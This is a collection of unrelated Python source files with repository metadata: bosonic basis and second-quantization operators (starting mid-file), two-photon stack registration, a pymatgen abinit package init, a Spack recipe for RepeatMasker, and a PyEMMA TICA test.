dimOfBasis(N, m): return np.uint32(binom(N + m - 1, N)) def fillBasis(basis, N, m, offset=0): if m != 1: counter = [offset] for n in range(0, m - 1): counter[0] = offset a(N, m, n, basis, N, m, counter) counter[0] = offset am(N, m, m - 1, basis, N, m, counter) else: basis[offset, 0] = int(N) # end # https://en.wikipedia.org/wiki/Skew_normal_distribution def gaussian(x, mu, sigm=1, norm=1, skw=0): tmp = np.exp(-(x - mu) ** 2 / (2 * sigm ** 2)) if norm: tmp /= np.sqrt(2 * np.pi * sigm ** 2) if skw != 0: tmp *= (1 + erf(skw * (x - mu) / (sigm * sqrt(2)))) return tmp # mu=(a+b)/2 and sigma^2 = (b-a)^2 / 12 so a=mu-sqrt(3)*sigma and b=mu-sqrt(3)*sigma def rect(x, mu, sigm=1, norm=1): if np.abs(x - mu) <= sqrt(3) * sigm: tmp = 1 else: tmp = 0 if norm: tmp /= 2 * sqrt(3) * sigm return tmp def basisOffsets(N, m): offsets = np.zeros((N + 2), dtype=np.int32) # set starting positions (counting from N,m-1 downwards) => results in rdm being block matrix of decreasing N_sub # set first one for avoiding exception in first nn value offsets[N] = 0 # then following is offset[N-1] = offset[N] + #el(N,m-1) / however note offset[N]=0 # offset[N-2] = offset[N-1] + #el(N-1,m_red) for i in reversed(range(-1, N)): offsets[i] = offsets[i + 1] + dimOfBasis(i + 1, m) # note: offsets[N+1] = dim of basis return offsets def fillReducedBasis(basis, N, m, offsets): for i in range(0, N + 1): fillBasis(basis, i, m, offsets[i]) # end # filling arrays for l != m-1 def a(N, m, l, basis, Nsys, msys, counter): if m == msys - l: for n in range(0, N + 1): nn = 0 while nn < dimOfBasis(n, m - 1): basis[counter[0]][l] = int(N - n) counter[0] += 1 nn += 1 else: for n in reversed(range(0, N + 1)): a(N - n, m - 1, l, basis, Nsys, msys, counter) # end # filling arrays for l == m-1 (order is other way round) def am(N, m, l, basis, Nsys, msys, counter): if m == msys: am(N, m - 1, l, basis, Nsys, msys, counter) elif m == msys - l: for n in reversed(range(0, N + 1)): basis[counter[0]][l] = int(N - n) counter[0] += 1 else: for n in reversed(range(0, N + 1)): am(N - n, m - 1, l, basis, Nsys, msys, counter) # end def basis2dict(basis, dim): # create an empty dictionary with states in occupation number repres. as tuples being the keys tup = tuple(tuple(el) for el in basis) dRet = dict.fromkeys(tup) # for correct correspondence go through the basis tuple and put in the vector-number corresponding to the given tuple for i in range(0, dim): dRet[tup[i]] = i return dRet # note that all the elements here are sparse matrices! one has to use .toarray() to get them done correctly def quadraticArray(sysVar): retArr = np.empty((sysVar.m, sysVar.m), dtype=csr_matrix) # off diagonal for i in range(0, sysVar.m): for j in range(0, i): retArr[i, j] = getQuadratic(sysVar, i, j) retArr[j, i] = retArr[i, j].transpose() # diagonal terms for i in range(0, sysVar.m): retArr[i, i] = getQuadratic(sysVar, i, i) return retArr # note that all the elements here are sparse matrices! one has to use .toarray() to get them done correctly # please also note the index shift - from low to high but without the traced out, e.g. # m=4 trace out 1,2 -> 0,1 of reduced array corresponds to level 0 and 4 of whole system def quadraticArrayRed(sysVar): retArr = np.empty((sysVar.mRed, sysVar.mRed), dtype=csr_matrix) # off diagonal for i in range(0, sysVar.mRed): for j in range(0, i): retArr[i, j] = getQuadraticRed(sysVar, i, j) retArr[j, i] = retArr[i, j].transpose() # diagonal terms for i in range(0, sysVar.mRed): retArr[i, i] = getQuadraticRed(sysVar, i, i) return retArr def quadraticArraySpecLo(sysVar): retArr = np.empty((sysVar.m, sysVar.m), dtype=csr_matrix) # off diagonal for i in range(0, sysVar.m): for j in range(0, i): retArr[i, j] = getQuadraticSpecLo(sysVar, i, j) retArr[j, i] = retArr[i, j].transpose() # diagonal terms for i in range(0, sysVar.m): retArr[i, i] = getQuadraticSpecLo(sysVar, i, i) return retArr def quadraticArraySpecHi(sysVar): retArr = np.empty((sysVar.m, sysVar.m), dtype=csr_matrix) # off diagonal for i in range(0, sysVar.m): for j in range(0, i): retArr[i, j] = getQuadraticSpecHi(sysVar, i, j) retArr[j, i] = retArr[i, j].transpose() # diagonal terms for i in range(0, sysVar.m): retArr[i, i] = getQuadraticSpecHi(sysVar, i, i) return retArr # quadratic term in 2nd quantization for transition from m to l -> fills zero initialized matrix # matrix for a_l^d a_m (r=row, c=column) is M[r][c] = SQRT(basis[r][l]*basis[c][m]) def getQuadratic(sysVar, l, m): data = np.zeros(0, dtype=np.float64) row = np.zeros(0, dtype=np.float64) col = np.zeros(0, dtype=np.float64) tmp = np.zeros((sysVar.m), dtype=np.int) for el in sysVar.basis: if el[m] != 0: tmp = el.copy() tmp[m] -= 1 tmp[l] += 1 row = np.append(row, sysVar.basisDict[tuple(tmp)]) col = np.append(col, sysVar.basisDict[tuple(el)]) data = np.append(data, np.float64(sqrt(el[m]) * sqrt(tmp[l]))) retmat = coo_matrix((data, (row, col)), shape=(sysVar.dim, sysVar.dim), dtype=np.float64).tocsr() del row, col, data, tmp return retmat # quadratic term in 2nd quantization for transition from m to l -> fills zero initialized matrix # matrix for a_l^d a_m (r=row, c=column) is M[r][c] = SQRT(basis[r][l]*basis[c][m]) def getQuadraticRed(sysVar, l, m): data = np.zeros(0, dtype=np.float64) row = np.zeros(0, dtype=np.float64) col = np.zeros(0, dtype=np.float64) tmp = np.zeros((sysVar.mRed), dtype=np.int) for el in sysVar.basisRed: if el[m] != 0: tmp = el.copy() tmp[m] -= 1 tmp[l] += 1 row = np.append(row, sysVar.basisDictRed[tuple(tmp)]) col = np.append(col, sysVar.basisDictRed[tuple(el)]) data = np.append(data, np.float64(sqrt(el[m]) * sqrt(tmp[l]))) retmat = coo_matrix((data, (row, col)), shape=(sysVar.dimRed, sysVar.dimRed), dtype=np.float64).tocsr() del row, col, data, tmp return retmat def getQuadraticSpecLo(sysVar, l, m): data = np.zeros(0, dtype=np.float64) row = np.zeros(0, dtype=np.float64) col = np.zeros(0, dtype=np.float64) tmp = np.zeros((sysVar.m), dtype=np.int) for el in sysVar.specLoBasis: if el[m] != 0: tmp = el.copy() tmp[m] -= 1 tmp[l] += 1 row = np.append(row, sysVar.specLoBasisDict[tuple(tmp)]) col = np.append(col, sysVar.specLoBasisDict[tuple(el)]) data = np.append(data, np.float64(sqrt(el[m]) * sqrt(tmp[l]))) retmat = coo_matrix((data, (row, col)), shape=(sysVar.specLoDim, sysVar.specLoDim), dtype=np.float64).tocsr() del row, col, data, tmp return retmat def getQuadraticSpecHi(sysVar, l, m): data = np.zeros(0, dtype=np.float64) row = np.zeros(0, dtype=np.float64) col = np.zeros(0, dtype=np.float64) tmp = np.zeros((sysVar.m), dtype=np.int) for el in sysVar.specHiBasis: if el[m] != 0: tmp = el.copy() tmp[m] -= 1 tmp[l] += 1 row = np.append(row, sysVar.specHiBasisDict[tuple(tmp)]) col = np.append(col, sysVar.specHiBasisDict[tuple(el)]) data = np.append(data, np.float64(sqrt(el[m]) * sqrt(tmp[l]))) retmat = coo_matrix((data, (row, col)), shape=(sysVar.specHiDim, sysVar.specHiDim), dtype=np.float64).tocsr() del row, col, data, tmp return retmat # array elements are NO matrix! just numpy array! # This will take very long to create and use up much memory, please consider doing it on the fly only for needed elements. def quarticArray(sysVar): retArr = np.empty((sysVar.m, sysVar.m, sysVar.m, sysVar.m), dtype=csr_matrix) # TODO: use transpose property for k in range(0, sysVar.m): for l in range(0, sysVar.m): for m in range(0, sysVar.m): for n in range(0, sysVar.m): retArr[k, l, m, n] = getQuartic(sysVar, k, l, m, n) return retArr # array elements are NO matrix! just numpy array! # This will take very long to create and use up much memory, please consider doing it on the fly only for needed elements. def quarticArrayRed(sysVar): retArr = np.empty((sysVar.mRed, sysVar.mRed, sysVar.mRed, sysVar.mRed), dtype=csr_matrix) # TODO: use transpose property for k in range(0, sysVar.mRed): for l in range(0, sysVar.mRed): for m in range(0, sysVar.mRed): for n in range(0, sysVar.mRed): retArr[k, l, m, n] = getQuarticRed(sysVar, k, l, m, n) return retArr def getQuartic(sysVar, k, l, m, n): if l != m: return (sysVar.operators[k, m] * sysVar.operators[l, n]).copy() else: return ((sysVar.operators[k, m] * sysVar.operators[l, n]) - sysVar.operators[k, n]).copy() def getQuarticRed(sysVar, k, l, m, n): if l != m: return (getQuadraticRed(sysVar, k, m) * getQuadraticRed(sysVar, l, n)).copy() else: return ((getQuadraticRed(sysVar, k, m) * getQuadraticRed(sysVar, l, n)) - getQuadraticRed(sysVar, k, n)).copy() def getQuarticSpec(quadops, k, l, m, n): if l != m: return (quadops[k, m] * quadops[l, n]).copy() else: return ((quadops[k, m] * quadops[l, n]) - quadops[k, n]).copy() # destruction operator (N -> N-1) # adjoint of this is creation on N-1 def getLoweringSpec(sysVar, l): data = np.zeros(0, dtype=np.float64) row = np.zeros(0, dtype=np.float64) col = np.zeros(0, dtype=np.float64) tmp = np.zeros((sysVar.m), dtype=np.int) for el in sysVar.basis: if el[l] != 0: tmp = el.copy() tmp[l] -= 1 row = np.append(row, sysVar.specLoBasisDict[tuple(tmp)]) col = np.append(col, sysVar.basisDict[tuple(el)]) data = np.append(data, np.sqrt(el[l], dtype=np.float64)) retmat = coo_matrix((data, (row, col)), shape=(sysVar.specLoDim, sysVar.dim), dtype=np.float64).tocsr() del row, col, data, tmp return retmat # creation operator (N -> N+1) # adjoint of this is annihilation on N+1 def getRaisingSpec(sysVar, l): data = np.zeros(0, dtype=np.float64) row = np.zeros(0, dtype=np.float64) col = np.zeros(0, dtype=np.float64) tmp = np.zeros((sysVar.m), dtype=np.int) for el in sysVar.basis: tmp = el.copy() tmp[l] += 1 row = np.append(row, sysVar.specHiBasisDict[tuple(tmp)]) col = np.append(col, sysVar.basisDict[tuple(el)]) data = np.append(data, np.sqrt(tmp[l], dtype=np.float64)) retmat = coo_matrix((data, (row, col)), shape=(sysVar.specHiDim, sysVar.dim), dtype=np.float64).tocsr() del row, col, data, tmp return retmat # annihilation operator on N+1 def getRaisingSpecAdj(sysVar, l): data = np.zeros(0, dtype=np.float64) row = np.zeros(0, dtype=np.float64) col = np.zeros(0, dtype=np.float64) tmp = np.zeros((sysVar.m), dtype=np.int) for el in sysVar.specHiBasis: if el[l] != 0: tmp = el.copy() tmp[l] -= 1 col = np.append(col, sysVar.specHiBasisDict[tuple(el)]) row = np.append(row, sysVar.basisDict[tuple(tmp)]) data = np.append(data, np.float64(sqrt(el[l]))) retmat = coo_matrix((data, (row, col)), shape=(sysVar.dim, sysVar.specHiDim), dtype=np.float64).tocsr() del row, col, data, tmp return retmat # inverse of creation operator (have to multiply from left...) def getRaisingSpecInv(sysVar, l): data = np.zeros(0, dtype=np.float64) row = np.zeros(0, dtype=np.float64) col = np.zeros(0, dtype=np.float64) tmp = np.zeros((sysVar.m), dtype=np.int) for el in sysVar.basis: tmp = el.copy() tmp[l] += 1 col = np.append(col, sysVar.specHiBasisDict[tuple(tmp)]) row = np.append(row, sysVar.basisDict[tuple(el)]) data = np.append(data, np.float64(1 / sqrt(tmp[l]))) retmat = coo_matrix((data, (row, col)), shape=(sysVar.dim, sysVar.specHiDim), dtype=np.float64).tocsr() del row, col, data, tmp return retmat def time_elapsed(t0, divider, decimals=0): t_el = tm.time() - t0 if divider == 60: t_min = t_el // 60 t_sec = t_el % 60 return (str(int(t_min)) + "m " + str(int(t_sec)) + "s") else: t_sec = t_el / divider return str(round(t_sec, decimals)) + "s" # stores the matrix of dimension sysvar[2] in a file def storeMatrix(mat, fil, absOnly=0, stre=True, stim=True, stabs=True): matDim = np.shape(mat)[0] if absOnly == 0: # assume dot + 3 letter ending e.g. .txt fname = fil[:-4] fend = fil[-4:] if stabs: f = open(fil, 'w') if stim: fimag = open(fname + '_im' + fend, 'w') if stre: freal = open(fname + '_re' + fend, 'w') for n in range(0, matDim): for nn in range(0, matDim - 1): if stabs: f.write('%.16e ' % np.abs(mat[(n, nn)])) if stim: fimag.write('%.16e ' % (mat[(n, nn)]).imag) if stre: freal.write('%.16e ' % (mat[(n, nn)]).real) if stabs: f.write('%.16e\n' % np.abs(mat[(n, matDim - 1)])) if stim: fimag.write('%.16e\n' % (mat[(n, matDim - 1)]).imag) if stre: freal.write('%.16e\n' % (mat[(n, matDim - 1)]).real) if stabs: f.close() if stim: fimag.close() if stre: freal.close() else: f = open(fil, 'w') # assume dot + 3 letter ending e.g. .txt for n in range(0, matDim): for nn in range(0, matDim - 1): f.write('%.16e ' % np.abs(mat[(n, nn)])) f.write('%.16e\n' % np.abs(mat[(n, matDim - 1)])) f.close()
marvinlenk/subsystem_entropy_epsplots
pyplot_eps/mpEntropy.py
Python
bsd-2-clause
69,287
[ "Gaussian" ]
67345b1b4cf6bec3b18c5f00f2cb856ec871d5e43fada9574e244e5d6aeb3658
import numpy as np from skimage import feature from scipy import ndimage import time def register_rigid(stack, field, z_estimate, z_range, yaw=0, pitch=0, roll=0): """ Registers using skimage.feature match_template. Rotates the stack, cross-correlates the field at each position and returns the score, coordinates and angles of the best one. We use a right handed coordinate system (x points to the right, y towards you, and z downward) with right-handed/clockwise rotations. Stack is rotated with the inverse of the intrinsic yaw->pitch->roll rotation adding some slack above and below the desired slices to avoid black spaces after rotation. After rotation, we cut any black spaces in x and y and then run the cross-correlation. Note on ndimage.rotate: Assuming our coordinate system; axes=(1, 2) will do a left handed rotation in z, (0, 2) a right handed rotation in y and (0, 1) a left handed rotation in x. :param np.array: 3-d stack (depth, height, width). :param np.array field: 2-d field to register in the stack. :param float z_estimate: Initial estimate of best z. :param float z_range: How many slices to search above (and below) z_estimate. :param float yaw: Angle in degrees for rotation over z axis. :param float pitch: Angle in degrees for rotation over y axis. :param float roll: Angle in degrees for rotation over x axis. : returns best_score, (x, y, z), (yaw, pitch, roll). Best score is the highest correlation found. (x, y, z) are expressed as distances to the center of the stack. And yaw, pitch, roll are the same as the input. """ print(time.ctime(), 'Processing angles', (yaw, pitch, roll)) # Get rotation matrix R = create_rotation_matrix(yaw, pitch, roll) R_inv = np.linalg.inv(R) # Compute how high in z we'll need to cut the rotated stack to account for z = z_range h, w = stack.shape[1] / 2, stack.shape[2] / 2 # y, x corners_at_zrange = [[-w, -h, z_range], [w, -h, z_range], [w, h, z_range], [-w, h, z_range]] # clockwise, starting at upper left rot_corners_at_zrange = np.dot(R_inv, np.array(corners_at_zrange).T) rot_ztop = np.max(rot_corners_at_zrange[2]) # Calculate amount of slack in the initial stack needed to avoid black voxels after rotation. corners_at_zero = [[-w, -h, 0], [w, -h, 0], [w, h, 0], [-w, h, 0]] corners_at_100= [[-w, -h, 100], [w, -h, 100], [w, h, 100], [-w, h, 100]] rot_corners_at_zero = np.dot(R_inv, np.array(corners_at_zero).T) # rot_corners_at_100 = np.dot(R_inv, np.array(corners_at_100).T) rot_corners_at_ztop = find_intersecting_point(rot_corners_at_zero, rot_corners_at_100, rot_ztop) corners_at_ztop = np.dot(R, rot_corners_at_ztop) # map back to original stack coordinates z_slack = np.max(corners_at_ztop[2]) # Restrict stack to relevant part in z mini_stack = stack[max(0, int(round(z_estimate - z_slack))): int(round(z_estimate + z_slack))] # Rotate stack (inverse of intrinsic yaw-> pitch -> roll) rotated = ndimage.rotate(mini_stack, yaw, axes=(1, 2), order=1) # yaw(-w) rotated = ndimage.rotate(rotated, -pitch, axes=(0, 2), order=1) # pitch(-v) rotated = ndimage.rotate(rotated, roll, axes=(0, 1), order=1) # roll(-u) # Calculate where to cut rotated stack (at z_est) z_est = (z_estimate - max(0, int(round(z_estimate - z_slack)))) - mini_stack.shape[0] / 2 rot_z_est = np.dot(R_inv, [0, 0, z_est])[2] min_z, max_z = rot_z_est - rot_ztop, rot_z_est + rot_ztop top_corners = find_intersecting_point(rot_corners_at_zero, rot_corners_at_100, max(-rotated.shape[0] / 2, min_z)) bottom_corners = find_intersecting_point(rot_corners_at_zero, rot_corners_at_100, min(rotated.shape[0] / 2, max_z)) min_x = max(*top_corners[0, [0, 3]], *bottom_corners[0, [0, 3]]) max_x = min(*top_corners[0, [1, 2]], *bottom_corners[0, [1, 2]]) min_y = max(*top_corners[1, [0, 1]], *bottom_corners[1, [0, 1]]) max_y = min(*top_corners[1, [2, 3]], *bottom_corners[1, [2, 3]]) # Cut rotated stack mini_rotated = rotated[max(0, int(round(rotated.shape[0] / 2 + min_z))): int(round(rotated.shape[0] / 2 + max_z)), max(0, int(round(rotated.shape[1] / 2 + min_y))): int(round(rotated.shape[1] / 2 + max_y)), max(0, int(round(rotated.shape[2] / 2 + min_x))): int(round(rotated.shape[2] / 2 + max_x))] z_center = rotated.shape[0] / 2 - max(0, int(round(rotated.shape[0] / 2 + min_z))) y_center = rotated.shape[1] / 2 - max(0, int(round(rotated.shape[1] / 2 + min_y))) x_center = rotated.shape[2] / 2 - max(0, int(round(rotated.shape[2] / 2 + min_x))) # Crop field FOV to be smaller than the stack's cut_rows = max(1, int(np.ceil((field.shape[0] - mini_rotated.shape[1]) / 2))) cut_cols = max(1, int(np.ceil((field.shape[1] - mini_rotated.shape[2]) / 2))) field = field[cut_rows:-cut_rows, cut_cols:-cut_cols] # Sharpen images norm_field = sharpen_2pimage(field) norm_stack = np.stack(sharpen_2pimage(s) for s in mini_rotated) # 3-d match_template corrs = np.stack(feature.match_template(s, norm_field, pad_input=True) for s in norm_stack) smooth_corrs = ndimage.gaussian_filter(corrs, 0.7) best_score = np.max(smooth_corrs) z, y, x = np.unravel_index(np.argmax(smooth_corrs), smooth_corrs.shape) # Express coordinates as distances to mini_stack/rotated center x_offset = (x + 0.5) - x_center y_offset = (y + 0.5) - y_center z_offset = (z + 0.5) - z_center # Map back to original stack coordinates xp, yp, zp = np.dot(R, [x_offset, y_offset, z_offset]) zp = ((max(0, int(round(z_estimate - z_slack))) + mini_stack.shape[0] / 2 + zp) - stack.shape[0] / 2) # with respect to original z center return best_score, (xp, yp, zp), (yaw, pitch, roll) def create_rotation_matrix(yaw, pitch, roll): """ 3-D rotation matrix to apply a intrinsic yaw-> pitch-> roll rotation. We use a right handed coordinate system (x points to the right, y towards you, and z downward) with right-handed/clockwise rotations. :param float yaw: Angle in degrees for rotation over z axis. :param float pitch: Angle in degrees for rotation over y axis. :param float roll: Angle in degrees for rotation over x axis. :returns: (3, 3) rotation matrix ..ref:: danceswithcode.net/engineeringnotes/rotations_in_3d/rotations_in_3d_part1.html """ w, v, u = yaw *np.pi/180, pitch * np.pi/180, roll * np.pi/180 # degrees to radians sin, cos = np.sin, np.cos rotation_matrix = [ [cos(v)*cos(w), sin(u)*sin(v)*cos(w) - cos(u)*sin(w), sin(u)*sin(w) + cos(u)*sin(v)*cos(w)], [cos(v)*sin(w), cos(u)*cos(w) + sin(u)*sin(v)*sin(w), cos(u)*sin(v)*sin(w) - sin(u)*cos(w)], [-sin(v), sin(u)*cos(v), cos(u)*cos(v)] ] return rotation_matrix def find_intersecting_point(p1, p2, z): """ Find a point at a given z in the line that crosses p1 and p2. :param np.array p1: A point (1-d array of size 3) or a matrix of points (3 x n). :param np.array p2: A point (1-d array of size 3) or a matrix of points (3 x n). Number of points in p2 needs to match p1. :param float z: z to insersect the line. :returns: A point (1-d array of size 3) or a matrix of points (3 x n). ..ref:: https://brilliant.org/wiki/3d-coordinate-geometry-equation-of-a-line/ """ direction_vector = p2 - p1 if any(abs(direction_vector[2]) < 1e-10): raise ArithmeticError('Line is parallel to the z-plane. Infinite or no solutions.') q = p1 + ((z - p1[2]) / direction_vector[2]) * direction_vector # p1 + ((z-z1)/ n) * d return q def sharpen_2pimage(image, laplace_sigma=0.7, low_percentile=3, high_percentile=99.9): """ Apply a laplacian filter, clip pixel range and normalize. :param np.array image: Array with raw two-photon images. :param float laplace_sigma: Sigma of the gaussian used in the laplace filter. :param float low_percentile, high_percentile: Percentiles at which to clip. :returns: Array of same shape as input. Sharpened image. """ sharpened = image - ndimage.gaussian_laplace(image, laplace_sigma) clipped = np.clip(sharpened, *np.percentile(sharpened, [low_percentile, high_percentile])) norm = (clipped - clipped.mean()) / (clipped.max() - clipped.min()) return norm def find_field_in_stack(stack, x, y, z, yaw, pitch, roll, height, width): """ Get a cutout of the given height, width dimensions in the rotated stack at x, y, z. :param np.array stack: 3-d stack (depth, height, width) :param float x, y, z: Center of field measured as distance from the center in the original stack (before rotation). :param yaw, pitch, roll: Rotation angles to apply to the field. :param height, width: Height and width of the cutout from the stack. :returns: A height x width np.array at the desired location. """ # Rotate stack (inverse of intrinsic yaw-> pitch -> roll) rotated = ndimage.rotate(stack, yaw, axes=(1, 2), order=1) # yaw(-w) rotated = ndimage.rotate(rotated, -pitch, axes=(0, 2), order=1) # pitch(-v) rotated = ndimage.rotate(rotated, roll, axes=(0, 1), order=1) # roll(-u) # Compute center of field in the rotated stack R_inv = np.linalg.inv(create_rotation_matrix(yaw, pitch, roll)) rot_center = np.dot(R_inv, [x, y, z]) center_ind = np.array(rotated.shape) / 2 + rot_center[::-1] # z, y, x # Crop field (interpolate at the desired positions) z_coords = [center_ind[0] - 0.5] # -0.5 is because our (0.5, 0.5) is np.map_coordinates' (0, 0) y_coords = np.arange(height) - height / 2 + center_ind[1] # - 0.5 is added by '- height / 2' term x_coords = np.arange(width) - width / 2 + center_ind[2] coords = np.meshgrid(z_coords, y_coords, x_coords) out = ndimage.map_coordinates(rotated, [coords[0].reshape(-1), coords[1].reshape(-1), coords[2].reshape(-1)], order=1) field = out.reshape([height, width]) return field
fabiansinz/pipeline
python/pipeline/utils/registration.py
Python
lgpl-3.0
10,165
[ "Gaussian" ]
4e54211b8487090fb3e8864f92bd9fc974ecf4d8483bd227a1c0d38b28898aac
# Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. """This package implements basic input and output capabilities for Abinit.""" from .netcdf import ( NO_DEFAULT, ETSF_Reader, NetcdfReader, NetcdfReaderError, as_etsfreader, as_ncreader, structure_from_ncdata, ) from .pseudos import ( AbinitHeader, AbinitPseudo, Hint, NcAbinitHeader, NcAbinitPseudo, NcPseudo, PawAbinitHeader, PawAbinitPseudo, PawPseudo, PawXmlSetup, Pseudo, PseudoParser, PseudoParserError, PseudoTable, RadialFunction, l2str, str2l, straceback, )
materialsproject/pymatgen
pymatgen/io/abinit/__init__.py
Python
mit
660
[ "ABINIT", "NetCDF", "pymatgen" ]
a7635c11e2493ffe05523eddb04eb41518f16c687568c1952c6eca51f86c29b5
############################################################################## # Copyright (c) 2013-2018, Lawrence Livermore National Security, LLC. # Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-647188 # # For details, see https://github.com/spack/spack # Please also see the NOTICE and LICENSE files for our notice and the LGPL. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License (as # published by the Free Software Foundation) version 2.1, February 1999. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and # conditions of the GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ############################################################################## from spack import * import inspect import distutils.dir_util class Repeatmasker(Package): """RepeatMasker is a program that screens DNA sequences for interspersed repeats and low complexity DNA sequences.""" homepage = "http://www.repeatmasker.org" url = "http://www.repeatmasker.org/RepeatMasker-open-4-0-7.tar.gz" version('4.0.7', '4dcbd7c88c5343e02d819f4b3e6527c6') depends_on('perl', type=('build', 'run')) depends_on('perl-text-soundex', type=('build', 'run')) depends_on('hmmer') depends_on('ncbi-rmblastn') depends_on('trf') def url_for_version(self, version): url = 'http://www.repeatmasker.org/RepeatMasker-open-{0}.tar.gz' return url.format(version.dashed) def install(self, spec, prefix): # Config questions consist of: # # <PRESS ENTER TO CONTINUE> # Enter perl path # Enter where repeatmasker is being configured from # Enter trf path # Add a Search Engine: # 1. CrossMatch # 2. RMBlast - NCBI Blast with RepeatMasker extensions # 3. WUBlast/ABBlast (required by DupMasker) # 4. HMMER3.1 & DFAM # 5. Done # Enter RMBlast path # Do you want RMBlast to be your default search engine for # Repeatmasker? (Y/N) # Add a Search Engine: Done config_answers = ['\n', '%s\n' % self.spec['perl'].command.path, '%s\n' % self.stage.source_path, '%s\n' % self.spec['trf'].prefix.bin.trf, '2\n', '%s\n' % self.spec['ncbi-rmblastn'].prefix.bin, 'Y\n', '5\n'] config_answers_filename = 'spack-config.in' with open(config_answers_filename, 'w') as f: f.writelines(config_answers) with open(config_answers_filename, 'r') as f: inspect.getmodule(self).perl('configure', input=f) distutils.dir_util.copy_tree(".", prefix.bin)
tmerrick1/spack
var/spack/repos/builtin/packages/repeatmasker/package.py
Python
lgpl-2.1
3,252
[ "BLAST" ]
f2ab314d1d9800c23e8ab1fc12dfec788b8312da0d216c2b1e68027951f70ff0
# This file is part of PyEMMA. # # Copyright (c) 2015, 2014 Computational Molecular Biology Group, Freie Universitaet Berlin (GER) # # PyEMMA is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. ''' Test feature reader and Tica by checking the properties of the ICs. cov(ic_i,ic_j) = delta_ij and cov(ic_i,ic_j,tau) = lambda_i delta_ij @author: Fabian Paul ''' from __future__ import absolute_import from __future__ import print_function import os import tempfile import unittest import mdtraj from pyemma.coordinates.api import tica from pyemma.coordinates.data.feature_reader import FeatureReader from pyemma.util.contexts import numpy_random_seed from logging import getLogger import numpy as np log = getLogger('pyemma.'+'TestFeatureReaderAndTICAProjection') def random_invertible(n, eps=0.01): 'generate real random invertible matrix' m = np.random.randn(n, n) u, s, v = np.linalg.svd(m) s = np.maximum(s, eps) return u.dot(np.diag(s)).dot(v) class TestFeatureReaderAndTICAProjection(unittest.TestCase): @classmethod def setUpClass(cls): with numpy_random_seed(52): c = super(TestFeatureReaderAndTICAProjection, cls).setUpClass() cls.dim = 99 # dimension (must be divisible by 3) N = 5000 # length of single trajectory # 500000 # 50000 N_trajs = 10 # number of trajectories A = random_invertible(cls.dim) # mixing matrix # tica will approximate its inverse with the projection matrix mean = np.random.randn(cls.dim) # create topology file cls.temppdb = tempfile.mktemp('.pdb') with open(cls.temppdb, 'w') as f: for i in range(cls.dim // 3): print(('ATOM %5d C ACE A 1 28.490 31.600 33.379 0.00 1.00' % i), file=f) t = np.arange(0, N) cls.trajnames = [] # list of xtc file names for i in range(N_trajs): # set up data white = np.random.randn(N, cls.dim) brown = np.cumsum(white, axis=0) correlated = np.dot(brown, A) data = correlated + mean xyz = data.reshape((N, cls.dim // 3, 3)) # create trajectory file traj = mdtraj.load(cls.temppdb) traj.xyz = xyz traj.time = t tempfname = tempfile.mktemp('.xtc') traj.save(tempfname) cls.trajnames.append(tempfname) @classmethod def tearDownClass(cls): for fname in cls.trajnames: os.unlink(fname) os.unlink(cls.temppdb) super(TestFeatureReaderAndTICAProjection, cls).tearDownClass() def test_covariances_and_eigenvalues(self): reader = FeatureReader(self.trajnames, self.temppdb) for tau in [1, 10, 100, 1000, 2000]: trans = tica(lag=tau, dim=self.dim, kinetic_map=False) trans.estimate(reader) data = trans.get_output() log.info('max. eigenvalue: %f' % np.max(trans.eigenvalues)) self.assertTrue(np.all(trans.eigenvalues <= 1.0)) # check ICs check = tica(data=data, lag=tau, dim=self.dim) np.testing.assert_allclose(np.eye(self.dim), check.cov, atol=1e-8) np.testing.assert_allclose(check.mean, 0.0, atol=1e-8) ic_cov_tau = np.zeros((self.dim, self.dim)) ic_cov_tau[np.diag_indices(self.dim)] = trans.eigenvalues np.testing.assert_allclose(ic_cov_tau, check.cov_tau, atol=1e-8) def test_partial_fit(self): from pyemma.coordinates import source reader = source(self.trajnames, top=self.temppdb) reader_output = reader.get_output() for output_params in [{'kinetic_map': False}, {'kinetic_map': True}, {'kinetic_map': False, 'commute_map': True}]: params = {'lag': 10, 'dim': self.dim} params.update(output_params) tica_obj = tica(**params) tica_obj.partial_fit(reader_output[0]) assert not tica_obj._estimated # acccess eigenvectors to force diagonalization tica_obj.eigenvectors assert tica_obj._estimated tica_obj.partial_fit(reader_output[1]) assert not tica_obj._estimated tica_obj.eigenvalues assert tica_obj._estimated for traj in reader_output[2:]: tica_obj.partial_fit(traj) # reference ref = tica(reader, **params) np.testing.assert_allclose(tica_obj.cov, ref.cov, atol=1e-15) np.testing.assert_allclose(tica_obj.cov_tau, ref.cov_tau, atol=1e-15) np.testing.assert_allclose(tica_obj.eigenvalues, ref.eigenvalues, atol=1e-15) # we do not test eigenvectors here, since the system is very metastable and # we have multiple eigenvalues very close to one. if __name__ == "__main__": unittest.main()
marscher/PyEMMA
pyemma/coordinates/tests/test_featurereader_and_tica_projection.py
Python
lgpl-3.0
5,622
[ "MDTraj" ]
74b106ad55f4659a8bf01e07258749d9e2c0c4d252d1f8585a567a7de13c6236
